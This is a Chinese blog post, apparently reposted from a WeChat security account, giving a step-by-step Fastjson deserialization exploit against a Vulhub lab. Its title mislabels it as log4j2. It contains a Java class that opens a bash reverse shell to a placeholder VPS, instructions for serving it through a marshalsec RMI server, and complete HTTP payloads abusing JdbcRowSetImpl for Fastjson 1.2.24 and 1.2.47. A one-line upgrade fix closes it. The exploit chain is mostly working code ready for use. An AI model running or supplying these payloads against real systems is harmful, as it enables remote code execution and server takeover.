迟来的log4j2漏洞getshell^^
话不多说直接干
1、漏洞描述
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑,则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
2、getshell
首先拉一个Vulhub的fastjson漏洞的docker镜像(不细说了这块自行百度吧),准备exp,将以下代码保存为test.java文件(修改IP为自己的VPS):
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i>& /dev/tcp/x.x.x.x/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将test.java编译生成test.class类,javac shell.java:
开启VPS的web服务,将之前编译的test.class文件放到网站根目录:
# python2
python2-m SimpleHTTPServer
# python3
python3 -m http.server
VPS下载marshalsec,用来启动RMI服务器或是LDAP服务器,github项目地址:https://github.com/mbechler/marshalsec,下载完成后进入目录mvn打包一下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar mar
shalsec.jndi.RMIRefServer "http:// x.x.x.x:8888/#test" 9999(此处注意VPS的web端口为多少):
VPS监听一下8002端口:
进行漏洞利用,POC如下:
fastjson 1.2.24
POST / HTTP/1.1
Host: 漏洞IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS IP:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 漏洞IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS IP:9999/test",
"autoCommit":true
}
}
不回包不要怕,正常现象:
成功反弹shell:
3、修复建议
将Fastjson升级到最新版本,https://github.com/alibaba/fastjson
关注公众号了解更多资讯
原文始发于微信公众号(纵横安全圈):盘一盘Fastjson漏洞getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论